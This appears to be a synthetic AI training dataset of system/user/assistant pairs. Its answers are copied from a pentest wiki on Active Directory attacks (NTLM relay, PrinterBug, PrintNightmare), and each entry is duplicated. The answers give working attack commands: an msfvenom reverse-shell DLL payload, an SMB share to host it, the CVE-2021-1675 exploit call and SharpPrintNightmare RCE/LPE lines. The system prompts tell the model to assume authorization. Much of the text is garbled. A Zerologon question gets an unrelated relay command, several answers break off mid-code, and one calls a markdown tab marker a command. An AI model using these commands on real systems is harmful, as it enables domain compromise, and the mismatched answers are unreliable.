[Assistant]
ntlmrelayx.py -t dcsync://'DOMAINCONTROLLER' -auth-smb 'DOMAIN'/'LOW_PRIV_USER':'PASSWORD'
```

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on target vulnerable to Zerologon, dump Domain's secrets

Response:
ntlmrelayx.py -t dcsync://'DOMAINCONTROLLER' -auth-smb 'DOMAIN'/'LOW_PRIV_USER':'PASSWORD'
```

:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of NTLM relay - Tips & tricks :bulb:

[Assistant]
The ntlmrelayx tool offers features making it a very valuable asset when pentesting an Active Directory domain:

* It can work with mitm6 (for DHCPv6 + DNS poisoning) by enabling IPv6 support with the -6 option (IPv6 support is not required since most hosts will send IPv4 but using this option is recommended since it will allow relay servers to work with IPv4 and IPv6)
* It supports SMB2. It can be enabled with the -smb2support option
* It implements CVE-2019-1040 with the --remove-mic option, usually needed when attempting "cross-protocols unsigning relays" (e.g. SMB to SMB-with-required-signing, or SMB to LDAP/S). This option can also be used when NTLMv1 is allowed (NTLMv1 doesn't support MIC).
* it implements CVE-2019-1019 with the -remove-target and -machine-account arguments
* It has the ability to attack multiple targets with the -tf option instead of -t, and the -w option can be set to watch the target file for changes and update target list automatically
* the target can be specified with a target protocol like ldap://target but the "all" keyword can be used (all://target). If the protocol isn't specified, it defaults to smb.
* It has the ability to relay connections for specific target users to be defined in the targets file
* It has the ability to relay a single connection (SMB only for now) to multiple targets, see below

> [!TIP]
> Thanks to the "multi-relay" feature, another attacker machine/interface can be added to the targets to combine ntlmrelayx with Responder servers. The attackers will be able capture an NTLM response with a custom challenge on an interface/machine, while relaying on another.

![](assets/capture_and_relay.png)

> [!TIP]
> The targets file used with the -tf option can contain the following
>
> ``bash
> # User filter for SMB only (for now)
> smb://DOMAIN\User@192.168.1.101
> smb://User@192.168.1.101
>
> # Custom ports and paths can be specified
> smb://target:port
> http://target:port/somepath
>
> # Domain name can be used inste

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of NTLM relay - Tips & tricks :bulb:

Response:
The ntlmrelayx tool offers features making it a very valuable asset when pentesting an Active Directory domain:

* It can work with mitm6 (for DHCPv6 + DNS poisoning) by enabling IPv6 support with the -6 option (IPv6 support is not required since most hosts will send IPv4 but using this option is recommended since it will allow relay servers to work with IPv4 and IPv6)
* It supports SMB2. It can be enabled with the -smb2support option
* It implements CVE-2019-1040 with the --remove-mic option, usually needed when attempting "cross-protocols unsigning relays" (e.g. SMB to SMB-with-required-signing, or SMB to LDAP/S). This option can also be used when NTLMv1 is allowed (NTLMv1 doesn't support MIC).
* it implements CVE-2019-1019 with the -remove-target and -machine-account arguments
* It has the ability to attack multiple targets with the -tf option instead of -t, and the -w option can be set to watch the target file for changes and update target list automatically
* the target can be specified with a target protocol like ldap://target but the "all" keyword can be used (all://target). If the protocol isn't specified, it defaults to smb.
* It has the ability to relay connections for specific target users to be defined in the targets file
* It has the ability to relay a single connection (SMB only for now) to multiple targets, see below

> [!TIP]
> Thanks to the "multi-relay" feature, another attacker machine/interface can be added to the targets to combine ntlmrelayx with Responder servers. The attackers will be able capture an NTLM response with a custom challenge on an interface/machine, while relaying on another.

![](assets/capture_and_relay.png)

> [!TIP]
> The targets file used with the -tf option can contain the following
>
> ``bash
> # User filter for SMB only (for now)
> smb://DOMAIN\User@192.168.1.101
> smb://User@192.168.1.101
>
> # Custom ports and paths can be specified
> smb://target:port
> http://target:port/somepath
>
> # Domain name can be used inste


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on NTLM relay - Tips & tricks :bulb:

[Assistant]
The ntlmrelayx tool offers features making it a very valuable asset when pentesting an Active Directory domain:

* It can work with mitm6 (for DHCPv6 + DNS poisoning) by enabling IPv6 support with the -6 option (IPv6 support is not required since most hosts will send IPv4 but using this option is recommended since it will allow relay servers to work with IPv4 and IPv6)
* It supports SMB2. It can be enabled with the -smb2support option
* It implements CVE-2019-1040 with the --remove-mic option, usually needed when attempting "cross-protocols unsigning relays" (e.g. SMB to SMB-with-required-signing, or SMB to LDAP/S). This option can also be used when NTLMv1 is allowed (NTLMv1 doesn't support MIC).
* it implements CVE-2019-1019 with the -remove-target and -machine-account arguments
* It has the ability to attack multiple targets with the -tf option instead of -t, and the -w option can be set to watch the target file for changes and update target list automatically
* the target can be specified with a target protocol like ldap://target but the "all" keyword can be used (all://target). If the protocol isn't specified, it defaults to smb.
* It has the ability to relay connections for specific target users to be defined in the targets file
* It has the ability to relay a single connection (SMB only for now) to multiple targets, see below

> [!TIP]
> Thanks to the "multi-relay" feature, another attacker machine/interface can be added to the targets to combine ntlmrelayx with Responder servers. The attackers will be able capture an NTLM response with a custom challenge on an interface/machine, while relaying on another.

![](assets/capture_and_relay.png)

> [!TIP]
> The targets file used with the -tf option can contain the following
>
> ``bash
> # User filter for SMB only (for now)
> smb://DOMAIN\User@192.168.1.101
> smb://User@192.168.1.101
>
> # Custom ports and paths can be specified
> smb://target:port
> http://target:port/somepath
>
> # Domain name can be used inste

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on NTLM relay - Tips & tricks :bulb:

Response:
The ntlmrelayx tool offers features making it a very valuable asset when pentesting an Active Directory domain:

* It can work with mitm6 (for DHCPv6 + DNS poisoning) by enabling IPv6 support with the -6 option (IPv6 support is not required since most hosts will send IPv4 but using this option is recommended since it will allow relay servers to work with IPv4 and IPv6)
* It supports SMB2. It can be enabled with the -smb2support option
* It implements CVE-2019-1040 with the --remove-mic option, usually needed when attempting "cross-protocols unsigning relays" (e.g. SMB to SMB-with-required-signing, or SMB to LDAP/S). This option can also be used when NTLMv1 is allowed (NTLMv1 doesn't support MIC).
* it implements CVE-2019-1019 with the -remove-target and -machine-account arguments
* It has the ability to attack multiple targets with the -tf option instead of -t, and the -w option can be set to watch the target file for changes and update target list automatically
* the target can be specified with a target protocol like ldap://target but the "all" keyword can be used (all://target). If the protocol isn't specified, it defaults to smb.
* It has the ability to relay connections for specific target users to be defined in the targets file
* It has the ability to relay a single connection (SMB only for now) to multiple targets, see below

> [!TIP]
> Thanks to the "multi-relay" feature, another attacker machine/interface can be added to the targets to combine ntlmrelayx with Responder servers. The attackers will be able capture an NTLM response with a custom challenge on an interface/machine, while relaying on another.

![](assets/capture_and_relay.png)

> [!TIP]
> The targets file used with the -tf option can contain the following
>
> ``bash
> # User filter for SMB only (for now)
> smb://DOMAIN\User@192.168.1.101
> smb://User@192.168.1.101
>
> # Custom ports and paths can be specified
> smb://target:port
> http://target:port/somepath
>
> # Domain name can be used inste


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of PrinterBug

[Assistant]
This vulnerability allows low-privileged users to coerce authentications from machines that run the Print Spooler Service by crafting a specific RPC call through MS-RPRN, Microsoft’s Print System Remote Protocol. It defines the communication of print job processing and print system management between a print client and a print server

> [!TIP]
> Read the ms-rprn.md for more insight

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
This vulnerability allows low-privileged users to coerce authentications from machines that run the Print Spooler Service by crafting a specific RPC call through MS-RPRN, Microsoft’s Print System Remote Protocol. It defines the communication of print job processing and print system management between a print client and a print server

> [!TIP]
> Read the ms-rprn.md for more insight


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through PrinterBug

[Assistant]
This vulnerability allows low-privileged users to coerce authentications from machines that run the Print Spooler Service by crafting a specific RPC call through MS-RPRN, Microsoft’s Print System Remote Protocol. It defines the communication of print job processing and print system management between a print client and a print server

> [!TIP]
> Read the ms-rprn.md for more insight

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
This vulnerability allows low-privileged users to coerce authentications from machines that run the Print Spooler Service by crafting a specific RPC call through MS-RPRN, Microsoft’s Print System Remote Protocol. It defines the communication of print job processing and print system management between a print client and a print server

> [!TIP]
> Read the ms-rprn.md for more insight


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain PrintNightmare - The print spooler

[Assistant]
The Print Spooler is a Microsoft built-in service that manages printing jobs. It is enabled by default and runs within the SYSTEM context.

3 RPC protocols are registered by the spooler:

* MS-RPRN: Microsoft’s Print System Remote Protocol. It defines the communication of print job processing and print system management between a print client and a print server synchronously.
* MS-PAR: Microsoft’s Print System Asynchronous Remote Protocol. It has the same functionalities as MS-RPRN, but works asynchronously.
* MS-PAN: Microsoft’s Print System Asynchronous Notification Protocol. It is used to receive print status notifications from a print server and to send server-requested responses to those notifications back to the server.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain PrintNightmare - The print spooler

Response:
The Print Spooler is a Microsoft built-in service that manages printing jobs. It is enabled by default and runs within the SYSTEM context.

3 RPC protocols are registered by the spooler:

* MS-RPRN: Microsoft’s Print System Remote Protocol. It defines the communication of print job processing and print system management between a print client and a print server synchronously.
* MS-PAR: Microsoft’s Print System Asynchronous Remote Protocol. It has the same functionalities as MS-RPRN, but works asynchronously.
* MS-PAN: Microsoft’s Print System Asynchronous Notification Protocol. It is used to receive print status notifications from a print server and to send server-requested responses to those notifications back to the server.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for PrintNightmare - The print spooler

[Assistant]
The Print Spooler is a Microsoft built-in service that manages printing jobs. It is enabled by default and runs within the SYSTEM context.

3 RPC protocols are registered by the spooler:

* MS-RPRN: Microsoft’s Print System Remote Protocol. It defines the communication of print job processing and print system management between a print client and a print server synchronously.
* MS-PAR: Microsoft’s Print System Asynchronous Remote Protocol. It has the same functionalities as MS-RPRN, but works asynchronously.
* MS-PAN: Microsoft’s Print System Asynchronous Notification Protocol. It is used to receive print status notifications from a print server and to send server-requested responses to those notifications back to the server.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for PrintNightmare - The print spooler

Response:
The Print Spooler is a Microsoft built-in service that manages printing jobs. It is enabled by default and runs within the SYSTEM context.

3 RPC protocols are registered by the spooler:

* MS-RPRN: Microsoft’s Print System Remote Protocol. It defines the communication of print job processing and print system management between a print client and a print server synchronously.
* MS-PAR: Microsoft’s Print System Asynchronous Remote Protocol. It has the same functionalities as MS-RPRN, but works asynchronously.
* MS-PAN: Microsoft’s Print System Asynchronous Notification Protocol. It is used to receive print status notifications from a print server and to send server-requested responses to those notifications back to the server.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe PrintNightmare - PrintNightmare in the context of penetration testing

[Assistant]
"PrintNightmare" refers to an RCE (Remote Command Execution) vulnerability. If the vulnerable machine is configured to reject remote connection, this vulnerability could still be exploited in an LPE (Local Privilege Escalation) context.

In a detailed blogpost (here), Cyberwatch describes that the vulnerability lies in the functions allowing remote driver installation by users, RpcAddPrinterDriverEx and RpcAddPrinterDriver:

1. The attacker stores the driver DLL file on a SMB share reachable from the server.
2. The client creates a DRIVER_INFO_2 object containing the path to the attacker's DLL and passes it into the DRIVER_CONTAINER object.
3. The client calls RpcAddPrinterDriverEx with the DRIVER_CONTAINER to load the attacker's DLL into the server's dynamic library and with multiple bit values within the dwFileCopyFlags in order to bypass the SeLoadDriverPrivilege privilege verification by the server.
4. The attacker's DLL is executed on the server within SYSTEM context.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe PrintNightmare - PrintNightmare in the context of penetration testing

Response:
"PrintNightmare" refers to an RCE (Remote Command Execution) vulnerability. If the vulnerable machine is configured to reject remote connection, this vulnerability could still be exploited in an LPE (Local Privilege Escalation) context.

In a detailed blogpost (here), Cyberwatch describes that the vulnerability lies in the functions allowing remote driver installation by users, RpcAddPrinterDriverEx and RpcAddPrinterDriver:

1. The attacker stores the driver DLL file on a SMB share reachable from the server.
2. The client creates a DRIVER_INFO_2 object containing the path to the attacker's DLL and passes it into the DRIVER_CONTAINER object.
3. The client calls RpcAddPrinterDriverEx with the DRIVER_CONTAINER to load the attacker's DLL into the server's dynamic library and with multiple bit values within the dwFileCopyFlags in order to bypass the SeLoadDriverPrivilege privilege verification by the server.
4. The attacker's DLL is executed on the server within SYSTEM context.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through PrintNightmare - PrintNightmare

[Assistant]
"PrintNightmare" refers to an RCE (Remote Command Execution) vulnerability. If the vulnerable machine is configured to reject remote connection, this vulnerability could still be exploited in an LPE (Local Privilege Escalation) context.

In a detailed blogpost (here), Cyberwatch describes that the vulnerability lies in the functions allowing remote driver installation by users, RpcAddPrinterDriverEx and RpcAddPrinterDriver:

1. The attacker stores the driver DLL file on a SMB share reachable from the server.
2. The client creates a DRIVER_INFO_2 object containing the path to the attacker's DLL and passes it into the DRIVER_CONTAINER object.
3. The client calls RpcAddPrinterDriverEx with the DRIVER_CONTAINER to load the attacker's DLL into the server's dynamic library and with multiple bit values within the dwFileCopyFlags in order to bypass the SeLoadDriverPrivilege privilege verification by the server.
4. The attacker's DLL is executed on the server within SYSTEM context.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through PrintNightmare - PrintNightmare

Response:
"PrintNightmare" refers to an RCE (Remote Command Execution) vulnerability. If the vulnerable machine is configured to reject remote connection, this vulnerability could still be exploited in an LPE (Local Privilege Escalation) context.

In a detailed blogpost (here), Cyberwatch describes that the vulnerability lies in the functions allowing remote driver installation by users, RpcAddPrinterDriverEx and RpcAddPrinterDriver:

1. The attacker stores the driver DLL file on a SMB share reachable from the server.
2. The client creates a DRIVER_INFO_2 object containing the path to the attacker's DLL and passes it into the DRIVER_CONTAINER object.
3. The client calls RpcAddPrinterDriverEx with the DRIVER_CONTAINER to load the attacker's DLL into the server's dynamic library and with multiple bit values within the dwFileCopyFlags in order to bypass the SeLoadDriverPrivilege privilege verification by the server.
4. The attacker's DLL is executed on the server within SYSTEM context.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about PrintNightmare - Constraints

[Assistant] As @StanHacked stated on Twitter, there are some constraints depending on the protocol used for the attack.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about PrintNightmare - Constraints

Response: As @StanHacked stated on Twitter, there are some constraints depending on the protocol used for the attack.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out PrintNightmare - Constraints during a pentest?

[Assistant] As @StanHacked stated on Twitter, there are some constraints depending on the protocol used for the attack.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out PrintNightmare - Constraints during a pentest?

Response: As @StanHacked stated on Twitter, there are some constraints depending on the protocol used for the attack.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe PrintNightmare - MS-RPRN conditional tree in the context of penetration testing

[Assistant]
![](<./assets/PrintNightmare_MS-RPRN.jpeg>)

<https://twitter.com/StanHacked/status/1410929974358515719>{.caption}

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe PrintNightmare - MS-RPRN conditional tree in the context of penetration testing

Response:
![](<./assets/PrintNightmare_MS-RPRN.jpeg>)

<https://twitter.com/StanHacked/status/1410929974358515719>{.caption}


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for PrintNightmare - MS-RPRN conditional tree

[Assistant]
![](<./assets/PrintNightmare_MS-RPRN.jpeg>)

<https://twitter.com/StanHacked/status/1410929974358515719>{.caption}

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for PrintNightmare - MS-RPRN conditional tree

Response:
![](<./assets/PrintNightmare_MS-RPRN.jpeg>)

<https://twitter.com/StanHacked/status/1410929974358515719>{.caption}


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain PrintNightmare - MS-PAR conditional tree

[Assistant]
[](<./assets/PrintNightmare_MS-PAR.jpeg>)

<https://twitter.com/StanHacked/status/1412060814488608773>{.caption}

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain PrintNightmare - MS-PAR conditional tree

Response:
[](<./assets/PrintNightmare_MS-PAR.jpeg>)

<https://twitter.com/StanHacked/status/1412060814488608773>{.caption}


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for PrintNightmare - MS-PAR conditional tree?

[Assistant]
[](<./assets/PrintNightmare_MS-PAR.jpeg>)

<https://twitter.com/StanHacked/status/1412060814488608773>{.caption}

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for PrintNightmare - MS-PAR conditional tree?

Response:
[](<./assets/PrintNightmare_MS-PAR.jpeg>)

<https://twitter.com/StanHacked/status/1412060814488608773>{.caption}


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of PrintNightmare - Practice

[Assistant]
::: tabs

=== UNIX-like

From Unix-like systems, the attack can be conducted as follows

1. Check if the target's RPC pipes are available: Impacket's rpcdump.py
2. Generate a DLL payload: msfvenom
3. Host an SMB server from which the DLL can be fetched: Impacket's smbserver.py
4. Exploit PrintNightmare: CVE-2021-1675.py (MS-RPRN abuse, MS-PAR abuse)
5. Profit from the DLL being executed by the target

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of PrintNightmare - Practice

Response:
::: tabs

=== UNIX-like

From Unix-like systems, the attack can be conducted as follows

1. Check if the target's RPC pipes are available: Impacket's rpcdump.py
2. Generate a DLL payload: msfvenom
3. Host an SMB server from which the DLL can be fetched: Impacket's smbserver.py
4. Exploit PrintNightmare: CVE-2021-1675.py (MS-RPRN abuse, MS-PAR abuse)
5. Profit from the DLL being executed by the target

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for PrintNightmare - Practice?

[Assistant]
::: tabs

=== UNIX-like

From Unix-like systems, the attack can be conducted as follows

1. Check if the target's RPC pipes are available: Impacket's rpcdump.py
2. Generate a DLL payload: msfvenom
3. Host an SMB server from which the DLL can be fetched: Impacket's smbserver.py
4. Exploit PrintNightmare: CVE-2021-1675.py (MS-RPRN abuse, MS-PAR abuse)
5. Profit from the DLL being executed by the target

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for PrintNightmare - Practice?

Response:
::: tabs

=== UNIX-like

From Unix-like systems, the attack can be conducted as follows

1. Check if the target's RPC pipes are available: Impacket's rpcdump.py
2. Generate a DLL payload: msfvenom
3. Host an SMB server from which the DLL can be fetched: Impacket's smbserver.py
4. Exploit PrintNightmare: CVE-2021-1675.py (MS-RPRN abuse, MS-PAR abuse)
5. Profit from the DLL being executed by the target

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Create a DLL payload (reverse shell in this example)

[Assistant] msfvenom -f dll -p windows/x64/shell_reverse_tcp LHOST=$LOCAL_IP LPORT=$LOCAL_PORT -o /workspace/smb/remote.dll

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Create a DLL payload (reverse shell in this example)

Response: msfvenom -f dll -p windows/x64/shell_reverse_tcp LHOST=$LOCAL_IP LPORT=$LOCAL_PORT -o /workspace/smb/remote.dll


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Create a DLL payload (reverse shell in this example)?

[Assistant] msfvenom -f dll -p windows/x64/shell_reverse_tcp LHOST=$LOCAL_IP LPORT=$LOCAL_PORT -o /workspace/smb/remote.dll

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Create a DLL payload (reverse shell in this example)?

Response: msfvenom -f dll -p windows/x64/shell_reverse_tcp LHOST=$LOCAL_IP LPORT=$LOCAL_PORT -o /workspace/smb/remote.dll


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Host a SMB share

[Assistant] smbserver.py -smb2support "WHATEVERNAME" /workspace/smb/

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: smbserver.py -smb2support "WHATEVERNAME" /workspace/smb/


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Host a SMB share

[Assistant] smbserver.py -smb2support "WHATEVERNAME" /workspace/smb/

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: smbserver.py -smb2support "WHATEVERNAME" /workspace/smb/


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Run the exploit?

[Assistant]
CVE-2021-1675.py $DOMAIN/$USER:$PASSWORD@$TARGET_IP '\\$LOCAL_IP\$SHARE\remote.dll'

``

=== Windows

From Windows systems, the attack can be conducted in an LPE or RCE context with the following PoC: https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare/SharpPrintNightmare.

> [!CAUTION]
> _At the time of writing, October 7th 2022, the Windows abuse technique has not been tested by THR's authors._

`bash
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll

#RCE using existing context
SharpPrintNightmare.exe '\\$LOCAL_IP\smb\addCube.dll' '\\$TARGET_IP'

#RCE using runas /netonly
SharpPrintNightmare.exe '\\$LOCAL_IP\smb\addCube.dll' '\\$TARGET_IP' $DOMAIN $USER $PASSWORD
``

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Run the exploit?

Response:
CVE-2021-1675.py $DOMAIN/$USER:$PASSWORD@$TARGET_IP '\\$LOCAL_IP\$SHARE\remote.dll'

``

=== Windows

From Windows systems, the attack can be conducted in an LPE or RCE context with the following PoC: https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare/SharpPrintNightmare.

> [!CAUTION]
> _At the time of writing, October 7th 2022, the Windows abuse technique has not been tested by THR's authors._

`bash
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll

#RCE using existing context
SharpPrintNightmare.exe '\\$LOCAL_IP\smb\addCube.dll' '\\$TARGET_IP'

#RCE using runas /netonly
SharpPrintNightmare.exe '\\$LOCAL_IP\smb\addCube.dll' '\\$TARGET_IP' $DOMAIN $USER $PASSWORD
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Run the exploit?

[Assistant]
CVE-2021-1675.py $DOMAIN/$USER:$PASSWORD@$TARGET_IP '\\$LOCAL_IP\$SHARE\remote.dll'

``

=== Windows

From Windows systems, the attack can be conducted in an LPE or RCE context with the following PoC: https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare/SharpPrintNightmare.

> [!CAUTION]
> _At the time of writing, October 7th 2022, the Windows abuse technique has not been tested by THR's authors._

`bash
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll

#RCE using existing context
SharpPrintNightmare.exe '\\$LOCAL_IP\smb\addCube.dll' '\\$TARGET_IP'

#RCE using runas /netonly
SharpPrintNightmare.exe '\\$LOCAL_IP\smb\addCube.dll' '\\$TARGET_IP' $DOMAIN $USER $PASSWORD
``

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
CVE-2021-1675.py $DOMAIN/$USER:$PASSWORD@$TARGET_IP '\\$LOCAL_IP\$SHARE\remote.dll'

``

=== Windows

From Windows systems, the attack can be conducted in an LPE or RCE context with the following PoC: https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare/SharpPrintNightmare.

> [!CAUTION]
> _At the time of writing, October 7th 2022, the Windows abuse technique has not been tested by THR's authors._

`bash
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll

#RCE using existing context
SharpPrintNightmare.exe '\\$LOCAL_IP\smb\addCube.dll' '\\$TARGET_IP'

#RCE using runas /netonly
SharpPrintNightmare.exe '\\$LOCAL_IP\smb\addCube.dll' '\\$TARGET_IP' $DOMAIN $USER $PASSWORD
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Run the exploit

[Assistant]
=== Windows

From Windows systems, the attack can be conducted in an LPE or RCE context with the following PoC: [https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare/SharpPrintNightmare](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare/SharpPrintNightmare).

> [!CAUTION]
> _At the time of writing, October 7th 2022, the Windows abuse technique has not been tested by THR's authors._

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
=== Windows

From Windows systems, the attack can be conducted in an LPE or RCE context with the following PoC: [https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare/SharpPrintNightmare](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare/SharpPrintNightmare).

> [!CAUTION]
> _At the time of writing, October 7th 2022, the Windows abuse technique has not been tested by THR's authors._


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== Windows`?

[Assistant] This command is used for run the exploit. Run the exploit

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `=== Windows`?

Response: This command is used for run the exploit. Run the exploit


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain SCCM / MECM - Theory

[Assistant]
